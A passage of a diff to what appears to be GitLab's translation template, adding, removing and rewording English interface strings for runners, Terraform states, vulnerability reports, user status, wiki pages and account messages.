+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26614,7 +27227,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27753,6 +28369,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29061,6 +29701,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
